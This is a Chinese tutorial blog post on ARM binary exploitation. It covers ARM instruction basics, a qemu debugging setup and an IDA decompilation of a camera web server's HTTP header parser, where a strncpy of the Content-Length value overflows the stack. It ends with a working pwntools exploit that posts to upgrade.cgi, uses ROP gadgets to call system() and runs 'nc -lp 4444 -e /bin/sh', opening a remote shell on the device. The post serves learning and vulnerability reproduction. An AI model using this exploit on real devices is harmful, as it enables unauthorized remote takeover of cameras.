Arm pwn学习

刚刚开始学习ARM pwn,下面如有错误,希望各位大佬多多包han,多多包涵。

先介绍下 Arm的一些常见指令

那就先来

Arm 三操作数指令

1.jpg

看看函数开始时

2.jpg

Arm指令中的 - 感觉蛮简洁的,可以省略很多步骤和指令。

3.jpg

Arm LDR 指令

4.jpg

LDM 和 STM是多数据传送指令,用来装载和存储多个字的数据从/到内存。比如:

5.jpg

寄存器命名:

6.jpg

在常见的程序中 前面的命名一般都是以R*,一些比较特殊的寄存器,就命令,比如 LR SP 在IDA里面都是显示APCS。

7.jpg

Arm 跳转

8.jpg

Arm 程序状态寄存器处理指令

9.jpg

Arm 比较指令

0.jpg

Arm 标志位

11.jpg

做题,了解这些指令就差不多了

环境搭建

可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (后面这个。我安装了还是不太会用。逃····

第一种

这种我没具体的调试过,之前就用了一次,感觉没第二种舒服

12.jpg

第二种

首先先下载 arm-debian的qemu镜像

https://people.debian.org/~aurel32/qemu/armel/ or

https://people.debian.org/~aurel32/qemu/armhf/

13.jpg

14.jpg

其他:

15.jpg

实例调试分析

就只开了 nx

漏洞所在的函数

1int __fastcall sub_17F80(char *a1) 2 3{ 4 5  char *v1; // r4 6 7  char *v2; // r0 8 9  int v3; // r3 10 11  char *v4; // r5 12 13  unsigned int v5; // r9 14 15  unsigned __int8 *v6; // r8 16 17  char *v7; // r3 18 19  int v8; // r6 20 21  int v9; // t1 22 23  int v10; // r10 24 25  int v11; // r2 26 27  int v12; // r2 28 29  unsigned __int8 *v13; // r0 30 31  bool v14; // zf 32 33  int v15; // r2 34 35  int v16; // t1 36 37  bool v17; // zf 38 39  char *v18; // ST14_4 40 41  int v19; // r0 42 43  int v20; // r2 44 45  int v21; // r1 46 47  ssize_t v22; // r5 48 49  int v23; // r2 50 51  char *v24; // r0 52 53  const char *v25; // r6 54 55  char *v26; // r0 56 57  int result; // r0 58 59  int v28; // r6 60 61  FILE *v29; // r0 62 63  int v30; // r6 64 65  FILE *v31; // r0 66 67  const char *v32; // r1 68 69  int v33; // r2 70 71  int v34; // r3 72 73  char *v35; // r7 74 75  char *v36; // r6 76 77  char *v37; // r0 78 79  int v38; // r7 80 81  int v39; // r0 82 83  int v40; // r2 84 85  unsigned int v41; // r3 86 87  char *haystack; // [sp+Ch] [bp-44h] 88 89  char dest[4]; // [sp+18h] [bp-38h] 90 91  int v44; // [sp+1Ch] [bp-34h] 92 93  int v45; // [sp+20h] [bp-30h] 94 95  int v46; // [sp+24h] [bp-2Ch] 96 97 98 99  v1 = a1; 100 101  haystack = a1 + 13690; 102 103  v2 = strncpy(a1 + 21882, a1 + 13690, 0x1FFFu); 104 105  v3 = *((_DWORD *)v1 + 1629); 106 107  v4 = &v1[*((_DWORD *)v1 + 18) + 13690]; 108 109  v5 = (unsigned int)&haystack[v3]; 110 111  if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 ) 112 113  { 114 115    haystack[v3] = 0; 116 117    sub_16534(v2); 118 119    fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", 57, v4); 120 121  } 122 123  v6 = (unsigned __int8 *)(v4 - 1); 124 125  v7 = v4; 126 127  if ( (unsigned int)v4 >= v5 ) 128 129  { 130 131LABEL_26: 132 133    if ( *(_DWORD *)v1 > 3u ) 134 135      return 1; 136 137    v21 = *((_DWORD *)v1 + 1629); 138 139    if ( (unsigned int)(0x1FFF - v21) >= 0x2000 ) 140 141    { 142 143      sub_1627C(v1); 144 145      fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr); 146 147      result = 0; 148 149      *((_DWORD *)v1 + 4) = 400; 150 151      *(_DWORD *)v1 = 12; 152 153      return result; 154 155    } 156 157    v22 = read(*((_DWORD *)v1 + 1112), &haystack[v21], 0x2000 - v21); 158 159    if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == 0 ) 160 161    { 162 163      v23 = (unsigned __int8)v1[13690]; 164 165      *(_DWORD *)dest = 0; 166 167      v44 = 0; 168 169      v45 = 0; 170 171      v46 = 0; 172 173      if ( v23 ) 174 175      { 176 177        v35 = strstr(haystack, "Content-Length"); 178 179        v36 = strchr(v35, '\n'); 180 181        v37 = strchr(v35, ':'); 182 183        strncpy(dest, v37 + 1, v36 - (v37 + 1)); // 这里复制有bug 184 185      } 186 187      v24 = strstr(haystack, "\r\n\r\n"); 188 189      if ( v24 && (v25 = v24 + 4, (signed int)(v24 + 4) <= (signed int)&haystack[*((_DWORD *)v1 + 1629) - 1 + v22]) ) 190 191      { 192 193        v26 = strstr(haystack, "upgrade.cgi"); 194 195        if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != 0 ) 196 197        { 198 199          *((_DWORD *)v1 + 7623) = -1; 200 201          goto LABEL_36; 202 203        } 204 205        v30 = (int)(v1 + 28672); 206 207        ++*((_DWORD *)v1 + 7623); 208 209        v31 = (FILE *)stderr; 210 211        v32 = "req->iCount++(2)= %d\n"; 212 213      } 214 215      else 216 217      { 218 219        v30 = (int)(v1 + 28672); 220 221        v31 = (FILE *)stderr; 222 223        v32 = "req->iCount++= %d\n"; 224 225        ++*((_DWORD *)v1 + 7623); 226 227      } 228 229      fprintf(v31, v32); 230 231      v33 = *(_DWORD *)(v30 + 1820); 232 233      v26 = (char *)(1717986919 * v33); 234 235      *(_DWORD *)(v30 + 1820) = v33 % 20; 236 237    } 238 239LABEL_36: 240 241    if ( v22 < 0 ) 242 243    { 244 245      v34 = *_errno_location(); 246 247      if ( v34 != 4 ) 248 249      { 250 251        if ( v34 == 11 ) 252 253          return -1; 254 255        sub_1627C(v1); 256 257        perror("header read"); 258 259        *((_DWORD *)v1 + 4) = 400; 260 261        return 0; 262 263      } 264 265    } 266 267    else 268 269    { 270 271      if ( !v22 ) 272 273      { 274 275        if ( *((_DWORD *)v1 + 1628) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + 15) || *((_DWORD *)v1 + 1629) ) 276 277        { 278 279          sub_1627C(v1); 280 281          fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr); 282 283        } 284 285        *((_DWORD *)v1 + 4) = 400; 286 287        return 0; 288 289      } 290 291      v14 = (dword_34864 & 0x10) == 0; 292 293      *((_DWORD *)v1 + 1629) += v22; 294 295      if ( !v14 ) 296 297      { 298 299        sub_16534(v26); 300 301        v29 = (FILE *)stderr; 302 303        v1[*((_DWORD *)v1 + 1629) + 13690] = 0; 304 305        fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", 356, v22, ""); 306 307      } 308 309    } 310 311    return 1; 312 313  } 314 315  while ( 2 ) 316 317  { 318 319    if ( *((_DWORD *)v1 + 7623) > 0 ) 320 321      goto LABEL_26; 322 323    v9 = (unsigned __int8)*v4++; 324 325    v8 = v9; 326 327    v10 = v9 - 13; 328 329    if ( v9 != 13 ) 330 331      v10 = 1; 332 333    if ( v8 == 161 ) 334 335      v11 = v10 & 1; 336 337    else 338 339      v11 = 0; 340 341    if ( v11 ) 342 343    { 344 345      v12 = *v6; 346 347      v13 = v6; 348 349      v14 = v12 == 0; 350 351      if ( *v6 ) 352 353        v14 = v12 == 10; 354 355      if ( !v14 ) 356 357      { 358 359        do 360 361        { 362 363          v16 = *(v13-- - 1); 364 365          v15 = v16; 366 367          v17 = v16 == 0; 368 369          if ( v16 ) 370 371            v17 = v15 == 10; 372 373        } 374 375        while ( !v17 ); 376 377      } 378 379      v18 = v7; 380 381      v19 = strncmp((const char *)v13 + 1, "User-Agent:", 0xBu); 382 383      v7 = v18; 384 385      if ( v19 ) 386 387      { 388 389        sub_1627C(v1); 390 391        fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", 161); 392 393        sub_1BC48(v1); 394 395        return 0; 396 397      } 398 399    } 400 401    v20 = *(_DWORD *)v1; 402 403    switch ( *(_DWORD *)v1 ) 404 405    { 406 407      case 0: 408 409        if ( v8 == 13 ) 410 411        { 412 413          *((_DWORD *)v1 + 17) = v7; 414 415          *(_DWORD *)v1 = 1; 416 417          goto LABEL_24; 418 419        } 420 421        if ( v8 != 10 ) 422 423          goto LABEL_24; 424 425        *((_DWORD *)v1 + 17) = v7; 426 427        *(_DWORD *)v1 = 2; 428 429        goto LABEL_52; 430 431      case 1: 432 433        if ( v8 != 10 ) 434 435          goto LABEL_22; 436 437        *(_DWORD *)v1 = 2; 438 439LABEL_52: 440 441        ++*((_DWORD *)v1 + 18); 442 443        goto LABEL_53; 444 445      case 2: 446 447        if ( v8 == 13 ) 448 449        { 450 451          *(_DWORD *)v1 = 3; 452 453          goto LABEL_24; 454 455        } 456 457        if ( v8 != 10 ) 458 459        { 460 461LABEL_23: 462 463          *(_DWORD *)v1 = 0; 464 465LABEL_24: 466 467          ++*((_DWORD *)v1 + 18); 468 469LABEL_25: 470 471          ++v6; 472 473          v7 = v4; 474 475          if ( (unsigned int)v4 >= v5 ) 476 477            goto LABEL_26; 478 479          continue; 480 481        } 482 483LABEL_45: 484 485        ++*((_DWORD *)v1 + 18); 486 487        *(_DWORD *)v1 = 4; 488 489LABEL_46: 490 491        v28 = sub_1A4F4(v1); 492 493        if ( !v28 ) 494 495          return 0; 496 497        if ( (unsigned int)(*((_DWORD *)v1 + 3) - 3) > 1 ) 498 499          return v28; 500 501        v38 = *((_DWORD *)v1 + 42); 502 503        *((_DWORD *)v1 + 17) = &v1[*((_DWORD *)v1 + 1629) + 13690]; 504 505        *((_DWORD *)v1 + 16) = v4; 506 507        *(_DWORD *)v1 = 5; 508 509        if ( !v38 ) 510 511        { 512 513          sub_1627C(v1); 514 515          fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr); 516 517          sub_1BC48(v1); 518 519          return 0; 520 521        } 522 523        v39 = sub_216EC(v38); 524 525        if ( v39 < 0 ) 526 527        { 528 529          sub_1627C(v1); 530 531          fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + 42)); 532 533          sub_1BC48(v1); 534 535          return 0; 536 537        } 538 539        v40 = *((_DWORD *)v1 + 16); 540 541        v41 = *((_DWORD *)v1 + 17) - v40; 542 543        *((_DWORD *)v1 + 11) = v39; 544 545        *((_DWORD *)v1 + 12) = 0; 546 547        if ( v39 >= v41 ) 548 549          return v28; 550 551        *((_DWORD *)v1 + 17) = v40 + v39; 552 553        return v28; 554 555      case 3: 556 557        if ( v8 == 10 ) 558 559          goto LABEL_45; 560 561LABEL_22: 562 563        if ( v10 ) 564 565          goto LABEL_23; 566 567        goto LABEL_24; 568 569      default: 570 571        ++*((_DWORD *)v1 + 18); 572 573        if ( v20 == 2 ) 574 575        { 576 577LABEL_53: 578 579          **((_BYTE **)v1 + 17) = 0; 580 581          if ( *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16) > 3071 ) 582 583          { 584 585            sub_1627C(v1); 586 587            fprintf( 588 589              (FILE *)stderr, 590 591              "Header too long at %lu bytes: \"%s\"\n", 592 593              *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16)); 594 595            sub_1BC48(v1); 596 597            return 0; 598 599          } 600 601          if ( *((_DWORD *)v1 + 15) ) 602 603          { 604 605            if ( !sub_1A878(v1) ) 606 607              return 0; 608 609          } 610 611          else 612 613          { 614 615            if ( !sub_19FF0(v1) ) 616 617              return 0; 618 619            if ( *((_DWORD *)v1 + 2) == 1 ) 620 621              return sub_1A4F4(v1); 622 623          } 624 625          *((_DWORD *)v1 + 16) = v4; 626 627        } 628 629        else if ( v20 == 4 ) 630 631        { 632 633          goto LABEL_46; 634 635        } 636 637        goto LABEL_25; 638 639    } 640 641  } 642 643}

上面看到 strcpy存在bug,就是长度时按照输入来计算的,这时只要控制好,就能实现栈溢出。

先看看前面的的指令有没分析正确

16.png

能看出那些寄存器是用来做参数的 r0 r1 r2 ,然后依次往后

17.png

r3 是栈顶指针,lr是保存着返回地址,pc就是当前指令的下一条,cpsr 程序状态寄存器

看看程序开头和结尾

开头

18.png

结尾

19.png

R4-R11,LR都是放进栈里,如果发生了栈溢出,那岂不是能基本控制大多数的参数了,前面4个没有控制,我估摸着是用来做 传参用的。

这道题还是把aslr关了。

看到上图就清楚,此时的栈已经被控制了,执行为箭头所指向的,那r4-r11,LR都给控制了。

关了aslr就是直接执行system了,但是得控制参数,这个就直接用ROPgadgets就OK了

直接控制R0就ok

exp:

1from pwn import * 2 3 4 5context.log_level ='debug' 6 7 8 9p = remote("192.168.2.2",80) 10 11system_addr = 0x76f74ab0 12 13 14 15order_commad  = "nc  -lp 4444 -e /bin/sh;pwd;pwd;" 16 17pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:" 18 19payload = "a"*52+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*8+p32(system_addr) 20 21payload = pre+payload+order_commad+"\n\r\n\r\n" 22 23 24 25p.sendline(payload) 26 27p.interactive()

参考链接:

ivotek远程栈溢出漏洞分析与复现

https://xz.aliyun.com/t/5054

vivetok 摄像头远程栈溢出漏洞分析

https://ray-cp.github.io/archivers/2019-09-22-vivetok\_remote\_stack\_overflow

相关实验:ARM漏洞利用技术一--编写arm shellcode

(通过该实验了解arm环境下编写shellcode的基本过程,以execve()为例,详细介绍了相关步骤,包括系统调用、系统调用后、函数参数、去除空字符、转换进制等。)

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

一篇文章带你了解JavaScript日期

日期对象允许您使用日期(年、月、日、小时、分钟、秒和毫秒)。一、JavaScript的日期格式一个JavaScript日期可以写为一个字符串:ThuFeb02201909:59:51GMT0800(中国标准时间)或者是一个数字:1486000791164写数字的日期,指定的毫秒数自1970年1月1日00:00:00到现在。1\.显示日期使用